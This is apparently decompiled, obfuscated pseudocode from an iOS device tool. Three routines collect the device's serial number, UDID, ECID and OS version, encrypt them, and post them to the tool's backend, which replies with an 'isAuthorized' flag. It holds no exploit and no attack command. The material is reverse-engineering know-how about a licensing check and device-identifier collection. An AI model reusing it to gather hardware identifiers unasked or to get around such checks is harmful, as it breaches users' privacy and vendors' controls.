*((_QWORD *)v88 + 1) = CFSTR("\x01#asa\x19rgE@\xC8\xF5\xE6\x3A\x8FM\x8E\xA3^\x01\x84y");
v50 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v49,
v90[0],
2);
v90[0] = objc_retainAutoreleasedReturnValue(v50);
}
LABEL_13:
v53 = v22;
v54 = v80;
v55 = v76;
objc_release(v53);
objc_release(v54);
objc_release(v79);
objc_release(v87);
objc_release(v86);
objc_release(v73);
objc_release(v55);
v56 = v90[0];
objc_autoreleaseReturnValue(v90[0]);
return v56;
}
// 100019A00: using guessed type __int64 __fastcall HikariFunctionWrapper_2040(_QWORD, _QWORD);
// 100019A20: using guessed type __int64 __fastcall HikariFunctionWrapper_2042(_QWORD, _QWORD);
// 100019A40: using guessed type __int64 __fastcall HikariFunctionWrapper_2044(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019A60: using guessed type __int64 __fastcall HikariFunctionWrapper_2046(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019A80: using guessed type __int64 __fastcall HikariFunctionWrapper_2048(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019AA0: using guessed type __int64 __fastcall HikariFunctionWrapper_2050(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019AC0: using guessed type __int64 __fastcall HikariFunctionWrapper_2052(_QWORD, _QWORD, _QWORD);
// 100019AE0: using guessed type __int64 __fastcall HikariFunctionWrapper_2054(_QWORD, _QWORD);
// 100019B00: using guessed type __int64 __fastcall HikariFunctionWrapper_2056(_QWORD, _QWORD, _QWORD, _QWORD);
// 100059130: using guessed type __int64 __fastcall encryptData(_QWORD);
// 10005C672: using guessed type __int64 __fastcall decryptData(_QWORD);
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100260AA0: using guessed type __CFString *VersionTool[3];
// 100260AB0: using guessed type __CFString *BackEndCode;
// 1002615F0: using guessed type __CFString stru_1002615F0;
// 100261670: using guessed type __CFString stru_100261670;
// 1002616B0: using guessed type __CFString cfstr_N_0;
// 1002616F0: using guessed type __CFString cfstr_AsaRge;
// 100261730: using guessed type __CFString stru_100261730;
// 100261770: using guessed type __CFString stru_100261770;
// 1002617B0: using guessed type __CFString stru_1002617B0;
// 1002617F0: using guessed type __CFString stru_1002617F0;
// 100261830: using guessed type __CFString stru_100261830;
// 100261870: using guessed type __CFString stru_100261870;
// 1002618B0: using guessed type __CFString stru_1002618B0;
// 1002618F0: using guessed type __CFString cfstr_LH;
// 100261930: using guessed type __CFString stru_100261930;
// 100261970: using guessed type __CFString stru_100261970;
// 1002619B0: using guessed type __CFString cfstr_Be;
// 1002619F0: using guessed type __CFString stru_1002619F0;
// 100261A30: using guessed type __CFString stru_100261A30;
// 100261A70: using guessed type __CFString stru_100261A70;
// 100261AB0: using guessed type __CFString stru_100261AB0;
// 10029F20C: using guessed type int dword_10029F20C;
//----- (000000010001352D) ----------------------------------------------------
__int64 isComplatedAPI()
{
id *v0; // r14
id *v1; // r15
NSString *v2; // rax
NSString *v3; // rax
NSString *v4; // rax
NSString *v5; // r13
NSString *v6; // rax
NSString *v7; // rbx
NSString *v8; // rax
NSString *v9; // r12
void *v10; // rax
id v11; // r14
id v12; // r12
NSData *v13; // rax
id v14; // rax
void *v15; // rax
id v16; // rbx
NSDictionary *v17; // rax
void *v18; // rax
id v19; // rsi
id v20; // rax
id v21; // r14
id v22; // rax
id v23; // r14
id v24; // rax
id v25; // r12
id v26; // rax
id v27; // r14
void *v28; // rax
void *v29; // rax
id v30; // r13
void *v31; // rax
id v32; // r14
void *v33; // rax
id v34; // r13
id v35; // rax
id v36; // rbx
unsigned int v37; // eax
id v38; // r13
char v39; // r12
id v41; // [rsp+0h] [rbp-90h] BYREF
id v42; // [rsp+8h] [rbp-88h]
id v43; // [rsp+10h] [rbp-80h]
id v44; // [rsp+18h] [rbp-78h]
id v45; // [rsp+20h] [rbp-70h]
id v46; // [rsp+28h] [rbp-68h]
id v47; // [rsp+30h] [rbp-60h]
id v48; // [rsp+38h] [rbp-58h]
id v49; // [rsp+40h] [rbp-50h]
unsigned int v50; // [rsp+4Ch] [rbp-44h]
id v51; // [rsp+50h] [rbp-40h]
id v52; // [rsp+58h] [rbp-38h]
__int64 v53; // [rsp+60h] [rbp-30h]
v53 = -1;
if ( !dword_10029F210 )
{
asc_1002615C0[0] = 115;
asc_1002615C0[1] = 101;
asc_1002615C0[2] = 114;
asc_1002615C0[3] = 105;
asc_1002615C0[4] = 97;
asc_1002615C0[5] = 108;
asc_1002615C0[6] = 0;
strcpy(asc_100261582, "tool_version");
asc_1002615B4[0] = 101;
asc_1002615B4[1] = 99;
asc_1002615B4[2] = 105;
asc_1002615B4[3] = 100;
asc_1002615B4[4] = 0;
strcpy(asc_100261558, "backend_code");
asc_100261543[0] = 116;
asc_100261543[1] = 111;
asc_100261543[2] = 111;
asc_100261543[3] = 108;
asc_100261543[4] = 95;
asc_100261543[5] = 105;
asc_100261543[6] = 100;
asc_100261543[7] = 0;
aLH[0] = 117;
aLH[1] = 100;
aLH[2] = 105;
aLH[3] = 100;
aLH[4] = 0;
asc_10026103C[0] = 100;
asc_10026103C[1] = 97;
asc_10026103C[2] = 116;
asc_10026103C[3] = 97;
asc_10026103C[4] = 0;
asc_10026156D[0] = 112;
asc_10026156D[1] = 114;
asc_10026156D[2] = 111;
asc_10026156D[3] = 100;
asc_10026156D[4] = 117;
asc_10026156D[5] = 99;
asc_10026156D[6] = 116;
asc_10026156D[7] = 0;
strcpy(asc_10026152F, "ios_version");
strcpy(asc_1002614D3, "isAuthorized");
}
dword_10029F210 = 1;
v0 = &v41 - 8;
v1 = &v41 - 8;
v51 = &v41 - 2;
v49 = &v41 - 2;
*(&v41 - 8) = CFSTR("\xE3\xD7\x9Cl\xF8\n");
v2 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v52 = objc_retainAutoreleasedReturnValue(v2);
*v0 = v52;
v1[1] = CFSTR("\\\xA5\xAD\x8A\x12\x01̟");
v0[1] = ToolId;
v1[2] = CFSTR("F\xD1\xD0\xCC\x54\xA8\xC8\x4D\xFF\xE5\xE2\xEB(");
v0[2] = VersionTool[0];
v1[3] = CFSTR("\b\x83/\x80\xA5\xE3\x9C\x1B\xAE/v\xCC\x46");
v0[3] = BackEndCode;
v1[4] = CFSTR("\xB3\x98\x919\xEA\x25\xE2\x12\xF7\xF5\x6F\x86");
v3 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v48 = objc_retainAutoreleasedReturnValue(v3);
v0[4] = v48;
v1[5] = CFSTR("\x04l\x10\\h");
v4 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v5 = objc_retainAutoreleasedReturnValue(v4);
v0[5] = v5;
v1[6] = CFSTR("\xAA9YJ\x18tn\xAD");
v6 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v7 = objc_retainAutoreleasedReturnValue(v6);
v0[6] = v7;
v1[7] = CFSTR("\x04\x8E\xEE\xE0\xC3");
v8 = +[iOSDevice ECID](&OBJC_CLASS___iOSDevice, "ECID");
v9 = objc_retainAutoreleasedReturnValue(v8);
v0[7] = v9;
v10 = (void *)HikariFunctionWrapper_2066(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v41 - 8,
&v41 - 8,
8);
v47 = objc_retainAutoreleasedReturnValue(v10);
objc_release(v9);
objc_release(v7);
v11 = v52;
v12 = v48;
objc_release(v5);
objc_release(v12);
objc_release(v11);
v13 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v47,
0,
0);
v52 = objc_retainAutoreleasedReturnValue(v13);
v14 = objc_alloc((Class)&OBJC_CLASS___NSString);
v48 = (id)HikariFunctionWrapper_2068(v14, "initWithData:encoding:", v52, 4);
v15 = (void *)encryptData(v48);
v16 = objc_retainAutoreleasedReturnValue(v15);
*(_QWORD *)v49 = CFSTR("\xF2\x0B\xCF\xB6\xBA");
*(_QWORD *)v51 = v16;
v17 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v51,
v49,
1);
v51 = objc_retainAutoreleasedReturnValue(v17);
v18 = (void *)HikariFunctionWrapper_2070(
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v51,
0,
0);
v19 = objc_retainAutoreleasedReturnValue(v18);
v49 = v19;
v20 = postRequest(IsCompletedURL, (__int64)v19);
v21 = objc_retainAutoreleasedReturnValue(v20);
if ( v21 && (unsigned __int8)HikariFunctionWrapper_2072(v21, v19, 3389046784LL, 2439269632LL) )
{
v42 = v16;
v41 = v21;
v22 = objc_msgSend(v21, "dataUsingEncoding:", 4, 252561566);
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v23,
0,
0);
v25 = objc_retainAutoreleasedReturnValue(v24);
objc_release(v23);
v26 = objc_msgSend(v25, "objectForKeyedSubscript:", CFSTR("\xF2\x0B\xCF\xB6\xBA"));
v27 = objc_retainAutoreleasedReturnValue(v26);
v43 = v27;
if ( v27 )
{
v28 = (void *)HikariFunctionWrapper_2074(v27);
v44 = objc_retainAutoreleasedReturnValue(v28);
v29 = (void *)HikariFunctionWrapper_2076(v44, "dataUsingEncoding:", 4);
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = (void *)HikariFunctionWrapper_2078(
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v30,
0,
0);
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_release(v30);
v33 = (void *)HikariFunctionWrapper_2080(
v32,
"objectForKeyedSubscript:",
CFSTR("\x8E\xFB\xF3\x28\xCD\x556E\x05%\x02\x17="));
v34 = objc_retainAutoreleasedReturnValue(v33);
v35 = objc_msgSend(v34, "description");
v36 = objc_retainAutoreleasedReturnValue(v35);
v37 = (unsigned int)objc_msgSend(v36, "boolValue", 897756645, 620790352);
v46 = v32;
v50 = v37;
v45 = v25;
objc_release(v36);
objc_release(v34);
v38 = v44;
objc_release(v46);
objc_release(v38);
v25 = v45;
}
else
{
v50 = 0;
}
objc_release(v43);
objc_release(v25);
v21 = v41;
v39 = v50;
v16 = v42;
}
else
{
v39 = 0;
}
objc_release(v21);
objc_release(v49);
objc_release(v51);
objc_release(v16);
objc_release(v48);
objc_release(v52);
objc_release(v47);
return (unsigned int)v39;
}
// 100015473: conditional instruction was optimized away because r13d.4==AA67CA88
// 100019BA0: using guessed type __int64 __fastcall HikariFunctionWrapper_2066(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019BC0: using guessed type __int64 __fastcall HikariFunctionWrapper_2068(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019BE0: using guessed type __int64 __fastcall HikariFunctionWrapper_2070(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019C00: using guessed type __int64 __fastcall HikariFunctionWrapper_2072(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019C20: using guessed type __int64 __fastcall HikariFunctionWrapper_2074(_QWORD);
// 100019C40: using guessed type __int64 __fastcall HikariFunctionWrapper_2076(_QWORD, _QWORD, _QWORD);
// 100019C60: using guessed type __int64 __fastcall HikariFunctionWrapper_2078(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019C80: using guessed type __int64 __fastcall HikariFunctionWrapper_2080(_QWORD, _QWORD, _QWORD);
// 100059130: using guessed type __int64 __fastcall encryptData(_QWORD);
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100260AA0: using guessed type __CFString *VersionTool[3];
// 100260AB0: using guessed type __CFString *BackEndCode;
// 100261AF0: using guessed type __CFString stru_100261AF0;
// 100261B30: using guessed type __CFString stru_100261B30;
// 100261B70: using guessed type __CFString stru_100261B70;
// 100261BB0: using guessed type __CFString stru_100261BB0;
// 100261BF0: using guessed type __CFString cfstr_LH_0;
// 100261C30: using guessed type __CFString stru_100261C30;
// 100261C70: using guessed type __CFString stru_100261C70;
// 100261CB0: using guessed type __CFString stru_100261CB0;
// 100261CF0: using guessed type __CFString stru_100261CF0;
// 100261D30: using guessed type __CFString stru_100261D30;
// 10029F210: using guessed type int dword_10029F210;
//----- (000000010001587D) ----------------------------------------------------
__int64 __fastcall isError(void *a1)
{
id *v1; // r15
__int64 *v2; // r12
NSString *v3; // rax
void *v4; // rax
void *v5; // rax
void *v6; // rax
id v7; // r13
NSString *v8; // rax
NSString *v9; // rbx
__CFString *v10; // rcx
NSDictionary *v11; // rax
NSDictionary *v12; // rax
void *v13; // r12
id v14; // r13
id v15; // r13
void *v16; // rax
id v17; // rax
_QWORD *v18; // r14
id v19; // rax
void *v20; // rax
id v21; // rax
id v22; // rcx
NSDictionary *v23; // rax
NSDictionary *v24; // r14
NSData *v25; // rax
NSData *v26; // rbx
id v27; // rax
id v28; // r15
void *v29; // rax
id v30; // r13
id v31; // rax
id v32; // r12
NSData *v33; // r15
void *v34; // rax
id v35; // r14
void *v36; // rax
id v37; // rdi
id v38; // rax
id v39; // r13
id v40; // rax
id v41; // rax
id v42; // rax
id v43; // r13
id v44; // r12
id v45; // rbx
__int64 v47; // [rsp+0h] [rbp-A0h] BYREF
id v48; // [rsp+8h] [rbp-98h]
id v49; // [rsp+10h] [rbp-90h]
id v50; // [rsp+18h] [rbp-88h]
id v51; // [rsp+20h] [rbp-80h]
id v52; // [rsp+28h] [rbp-78h]
id v53; // [rsp+30h] [rbp-70h]
id v54; // [rsp+38h] [rbp-68h]
id v55; // [rsp+40h] [rbp-60h]
id v56; // [rsp+48h] [rbp-58h]
id v57; // [rsp+50h] [rbp-50h]
id v58; // [rsp+58h] [rbp-48h]
id v59; // [rsp+60h] [rbp-40h]
id v60; // [rsp+68h] [rbp-38h]
__int64 v61; // [rsp+70h] [rbp-30h]
v61 = -1;
if ( !dword_10029F214 )
{
asc_1002615B4[0] = 101;
asc_1002615B4[1] = 99;
asc_1002615B4[2] = 105;
asc_1002615B4[3] = 100;
asc_1002615B4[4] = 0;
strcpy(asc_100261558, "backend_code");
strcpy(asc_100261582, "tool_version");
asc_1002615C0[0] = 115;
asc_1002615C0[1] = 101;
asc_1002615C0[2] = 114;
asc_1002615C0[3] = 105;
asc_1002615C0[4] = 97;
asc_1002615C0[5] = 108;
asc_1002615C0[6] = 0;
strcpy(asc_100261D5C, "error_trace");
aLH[0] = 117;
aLH[1] = 100;
aLH[2] = 105;
aLH[3] = 100;
aLH[4] = 0;
asc_100261543[0] = 116;
asc_100261543[1] = 111;
asc_100261543[2] = 111;
asc_100261543[3] = 108;
asc_100261543[4] = 95;
asc_100261543[5] = 105;
asc_100261543[6] = 100;
asc_100261543[7] = 0;
asc_10026103C[0] = 100;
asc_10026103C[1] = 97;
asc_10026103C[2] = 116;
asc_10026103C[3] = 97;
asc_10026103C[4] = 0;
asc_10026156D[0] = 112;
asc_10026156D[1] = 114;
asc_10026156D[2] = 111;
asc_10026156D[3] = 100;
asc_10026156D[4] = 117;
asc_10026156D[5] = 99;
asc_10026156D[6] = 116;
asc_10026156D[7] = 0;
strcpy(asc_10026152F, "ios_version");
strcpy(asc_1002614D3, "isAuthorized");
}
dword_10029F214 = 1;
v1 = (id *)(&v47 - 10);
v2 = &v47 - 10;
v60 = &v47 - 2;
v52 = a1;
objc_retain(a1);
*v2 = (__int64)CFSTR("\xE3\xD7\x9Cl\xF8\n");
v3 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v59 = objc_retainAutoreleasedReturnValue(v3);
*v1 = v59;
v2[1] = (__int64)CFSTR("\\\xA5\xAD\x8A\x12\x01̟");
v1[1] = ToolId;
v2[2] = (__int64)CFSTR("F\xD1\xD0\xCC\x54\xA8\xC8\x4D\xFF\xE5\xE2\xEB(");
v1[2] = VersionTool[0];
v2[3] = (__int64)CFSTR("\b\x83/\x80\xA5\xE3\x9C\x1B\xAE/v\xCC\x46");
v1[3] = BackEndCode;
v2[4] = (__int64)CFSTR("\xB3\x98\x919\xEA\x25\xE2\x12\xF7\xF5\x6F\x86");
v4 = (void *)HikariFunctionWrapper_2084(
&OBJC_CLASS___iOSDevice,
"iOSVersion",
3619006686LL,
CFSTR("\xB3\x98\x919\xEA\x25\xE2\x12\xF7\xF5\x6F\x86"));
v57 = objc_retainAutoreleasedReturnValue(v4);
v1[4] = v57;
v2[5] = (__int64)CFSTR("\x04l\x10\\h");
v5 = (void *)HikariFunctionWrapper_2086(&OBJC_CLASS___iOSDevice, "UDID", 128378482, 4143967725LL);
v58 = objc_retainAutoreleasedReturnValue(v5);
v1[5] = v58;
v2[6] = (__int64)CFSTR("\xAA9YJ\x18tn\xAD");
v6 = (void *)HikariFunctionWrapper_2088(&OBJC_CLASS___iOSDevice, "ProductType");
v7 = objc_retainAutoreleasedReturnValue(v6);
v1[6] = v7;
v2[7] = (__int64)CFSTR("\x04\x8E\xEE\xE0\xC3");
v8 = +[iOSDevice ECID](&OBJC_CLASS___iOSDevice, "ECID");
v9 = objc_retainAutoreleasedReturnValue(v8);
v10 = &stru_10025B688;
if ( v52 )
v10 = (__CFString *)v52;
v2[8] = (__int64)CFSTR("\\\xB1\x0Fѱ&O\xEF\x15\x26\xA3{");
v1[7] = v9;
v1[8] = v10;
v11 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v47 - 10,
&v47 - 10,
9);
v12 = objc_retainAutoreleasedReturnValue(v11);
v55 = &v47 - 2;
v54 = v12;
v13 = v7;
v14 = v58;
objc_release(v9);
objc_release(v13);
objc_release(v14);
v15 = v59;
objc_release(v57);
objc_release(v15);
v16 = (void *)HikariFunctionWrapper_2090(
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v54,
0,
0);
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = v55;
v59 = v17;
v19 = objc_alloc((Class)&OBJC_CLASS___NSString);
v57 = objc_msgSend(v19, "initWithData:encoding:", v59, 4);
v20 = (void *)encryptData(v57);
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = v60;
*(_QWORD *)v60 = CFSTR("\xF2\x0B\xCF\xB6\xBA");
v58 = v21;
*v18 = v21;
v23 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v18,
v22,
1);
v24 = objc_retainAutoreleasedReturnValue(v23);
v25 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v24,
0,
0);
v26 = objc_retainAutoreleasedReturnValue(v25);
v27 = postRequest(IsErrorURL, (__int64)v26);
v28 = objc_retainAutoreleasedReturnValue(v27);
v55 = v24;
v48 = v28;
if ( v28 && (unsigned __int8)IsJson(v28) )
{
v29 = (void *)HikariFunctionWrapper_2092(v28, "dataUsingEncoding:", 4);
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v30,
0,
0);
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_release(v30);
v34 = (void *)HikariFunctionWrapper_2094(v32, "objectForKeyedSubscript:", CFSTR("\xF2\x0B\xCF\xB6\xBA"));
v35 = objc_retainAutoreleasedReturnValue(v34);
v49 = v32;
if ( v35 )
{
v36 = (void *)decryptData(v35);
v37 = objc_retainAutoreleasedReturnValue(v36);
v60 = &OBJC_CLASS___NSJSONSerialization;
v50 = v37;
v38 = objc_msgSend(v37, "dataUsingEncoding:", 4, 0);
v39 = objc_retainAutoreleasedReturnValue(v38);
v40 = objc_msgSend(v60, "JSONObjectWithData:options:error:", v39, 0, 0);
v53 = objc_retainAutoreleasedReturnValue(v40);
objc_release(v39);
v41 = objc_msgSend(v53, "objectForKeyedSubscript:", CFSTR("\x8E\xFB\xF3\x28\xCD\x556E\x05%\x02\x17="));
v56 = objc_retainAutoreleasedReturnValue(v41);
v42 = objc_msgSend(v56, "description");
v43 = objc_retainAutoreleasedReturnValue(v42);
LODWORD(v60) = (unsigned int)objc_msgSend(v43, "boolValue");
v51 = v35;
v33 = v26;
v44 = v56;
objc_release(v43);
objc_release(v44);
objc_release(v53);
objc_release(v50);
v35 = v51;
}
else
{
v33 = v26;
LODWORD(v60) = 0;
}
objc_release(v35);
objc_release(v49);
}
else
{
v33 = v26;
LODWORD(v60) = 0;
}
v45 = v55;
objc_release(v48);
objc_release(v33);
objc_release(v45);
objc_release(v58);
objc_release(v57);
objc_release(v59);
objc_release(v54);
objc_release(v52);
return (unsigned int)(char)v60;
}
// 100019CC0: using guessed type __int64 __fastcall HikariFunctionWrapper_2084(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019CE0: using guessed type __int64 __fastcall HikariFunctionWrapper_2086(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019D00: using guessed type __int64 __fastcall HikariFunctionWrapper_2088(_QWORD, _QWORD);
// 100019D20: using guessed type __int64 __fastcall HikariFunctionWrapper_2090(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019D40: using guessed type __int64 __fastcall HikariFunctionWrapper_2092(_QWORD, _QWORD, _QWORD);
// 100019D60: using guessed type __int64 __fastcall HikariFunctionWrapper_2094(_QWORD, _QWORD, _QWORD);
// 100059130: using guessed type __int64 __fastcall encryptData(_QWORD);
// 10005C672: using guessed type __int64 __fastcall decryptData(_QWORD);
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100260AA0: using guessed type __CFString *VersionTool[3];
// 100260AB0: using guessed type __CFString *BackEndCode;
// 100261D90: using guessed type __CFString stru_100261D90;
// 100261DD0: using guessed type __CFString stru_100261DD0;
// 100261E10: using guessed type __CFString stru_100261E10;
// 100261E50: using guessed type __CFString stru_100261E50;
// 100261E90: using guessed type __CFString cfstr_LH_1;
// 100261ED0: using guessed type __CFString stru_100261ED0;
// 100261F10: using guessed type __CFString stru_100261F10;
// 100261F50: using guessed type __CFString stru_100261F50;
// 100261F90: using guessed type __CFString stru_100261F90;
// 100261FD0: using guessed type __CFString stru_100261FD0;
// 100262010: using guessed type __CFString stru_100262010;
// 10029F214: using guessed type int dword_10029F214;
//----- (0000000100017D19) ----------------------------------------------------
__int64 __fastcall SendAttempt(double a1)
{
__CFString **v1; // r12
NSString *v2; // rax
NSString *v3; // r15
id v4; // rax
id v5; // rax
id v6; // rdi
void *v7; // rax
__CFString *v8; // r12
id v9; // rax
id v10; // r14
id v11; // rax
id v12; // rax
__CFString *v13; // rbx
id v14; // rax
id v15; // r15
__int64 v16; // r9
id v17; // rax
id v18; // r13
id v19; // r12
id v20; // r13
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rdi
id v26; // rax
id v27; // r15
id v28; // rax
id v29; // rax
id v30; // r15
id v31; // rax
id v32; // r13
id v33; // r15
__CFString *v34; // [rsp+0h] [rbp-90h] BYREF
__CFString *v35; // [rsp+8h] [rbp-88h]
id v36; // [rsp+10h] [rbp-80h]
id v37; // [rsp+18h] [rbp-78h]
id v38; // [rsp+20h] [rbp-70h]
id v39; // [rsp+28h] [rbp-68h]
id v40; // [rsp+30h] [rbp-60h]
id v41; // [rsp+38h] [rbp-58h]
id v42; // [rsp+40h] [rbp-50h]
id v43; // [rsp+48h] [rbp-48h]
id v44; // [rsp+50h] [rbp-40h]
unsigned int v45; // [rsp+5Ch] [rbp-34h]
__int64 v46; // [rsp+60h] [rbp-30h]
v46 = -1;
if ( !dword_10029F218 )
{
strcpy(asc_100261558, "backend_code");
asc_10026103C[0] = 100;
asc_10026103C[1] = 97;
asc_10026103C[2] = 116;
asc_10026103C[3] = 97;
asc_10026103C[4] = 0;
asc_1002615C0[0] = 115;
asc_1002615C0[1] = 101;
asc_1002615C0[2] = 114;
asc_1002615C0[3] = 105;
asc_1002615C0[4] = 97;
asc_1002615C0[5] = 108;
asc_1002615C0[6] = 0;
strcpy(asc_1002614D3, "isAuthorized");
}
dword_10029F218 = 1;
v1 = &v34 - 2;
v34 = CFSTR("\xE3\xD7\x9Cl\xF8\n");
v2 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v3 = objc_retainAutoreleasedReturnValue(v2);
*v1 = (__CFString *)v3;
v35 = CFSTR("\b\x83/\x80\xA5\xE3\x9C\x1B\xAE/v\xCC\x46");
v1[1] = BackEndCode;
v4 = HikariFunctionWrapper_2098(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v41 = objc_retainAutoreleasedReturnValue(v4);
objc_release(v3);
v5 = HikariFunctionWrapper_2100(&OBJC_CLASS___NSJSONSerialization, "dataWithJSONObject:options:error:");
v42 = objc_retainAutoreleasedReturnValue(v5);
v6 = objc_alloc((Class)&OBJC_CLASS___NSString);
v39 = HikariFunctionWrapper_2102(v6, "initWithData:encoding:");
v7 = encryptData(v39, a1);
v8 = objc_retainAutoreleasedReturnValue(v7);
*(&v34 - 2) = CFSTR("\xF2\x0B\xCF\xB6\xBA");
*(&v34 - 2) = v8;
v9 = HikariFunctionWrapper_2104(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v10 = objc_retainAutoreleasedReturnValue(v9);
v11 = HikariFunctionWrapper_2106(&OBJC_CLASS___NSJSONSerialization, "dataWithJSONObject:options:error:");
v40 = objc_retainAutoreleasedReturnValue(v11);
v12 = HikariFunctionWrapper_2108(SendAttemptURL, (__int64)v40);
v13 = (__CFString *)objc_retainAutoreleasedReturnValue(v12);
v38 = v10;
if ( v13 && (unsigned __int8)IsJson(v13) )
{
v14 = -[__CFString dataUsingEncoding:](v13, "dataUsingEncoding:", 4, 3255306505LL);
v15 = objc_retainAutoreleasedReturnValue(v14);
v17 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v15,
0,
0,
v16,
v34,
v35);
v18 = objc_retainAutoreleasedReturnValue(v17);
v35 = v13;
objc_release(v15);
v22 = HikariFunctionWrapper_2110(v18, "objectForKeyedSubscript:");
v23 = objc_retainAutoreleasedReturnValue(v22);
v44 = v23;
if ( v23 )
{
v24 = decryptData(v23, a1);
v25 = objc_retainAutoreleasedReturnValue(v24);
v36 = v18;
v37 = v25;
v26 = objc_msgSend(v25, "dataUsingEncoding:", 4);
v27 = objc_retainAutoreleasedReturnValue(v26);
v28 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v27,
0,
0);
v43 = objc_retainAutoreleasedReturnValue(v28);
objc_release(v27);
v29 = objc_msgSend(v43, "objectForKeyedSubscript:", CFSTR("\x8E\xFB\xF3\x28\xCD\x556E\x05%\x02\x17="));
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = objc_msgSend(v30, "description");
v32 = objc_retainAutoreleasedReturnValue(v31);
v45 = (unsigned int)objc_msgSend(v32, "boolValue");
objc_release(v32);
objc_release(v30);
v33 = v37;
objc_release(v43);
objc_release(v33);
v18 = v36;
}
else
{
v45 = 0;
}
objc_release(v44);
objc_release(v18);
v13 = v35;
}
else
{
v45 = 0;
}
v44 = v8;
v19 = v39;
v20 = v40;
objc_release(v13);
objc_release(v20);
objc_release(v38);
objc_release(v44);
objc_release(v19);
objc_release(v42);
objc_release(v41);
return (unsigned int)(char)v45;
}
// 100018D3F: variable 'v16' is possibly undefined
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100260AB0: using guessed type __CFString *BackEndCode;
// 100262050: using guessed type __CFString stru_100262050;
// 100262090: using guessed type __CFString stru_100262090;
// 1002620D0: using guessed type __CFString stru_1002620D0;
// 100262110: using guessed type __CFString stru_100262110;
// 10029F218: using guessed type int dword_10029F218;
//----- (0000000100019790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000197A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2002(void *a1, const char *a2)
{
return HikariFunctionWrapper_1(a1, a2);
}
//----- (00000001000197B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2003(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000197C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2004(void *a1, const char *a2)
{
return HikariFunctionWrapper_2003(a1, a2);
}
//----- (00000001000197D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2005(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000197E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2006(void *a1, const char *a2)
{
return HikariFunctionWrapper_2005(a1, a2);
}
//----- (00000001000197F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2007(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2008(void *a1, const char *a2)
{
return HikariFunctionWrapper_2007(a1, a2);
}
//----- (0000000100019810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2009(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
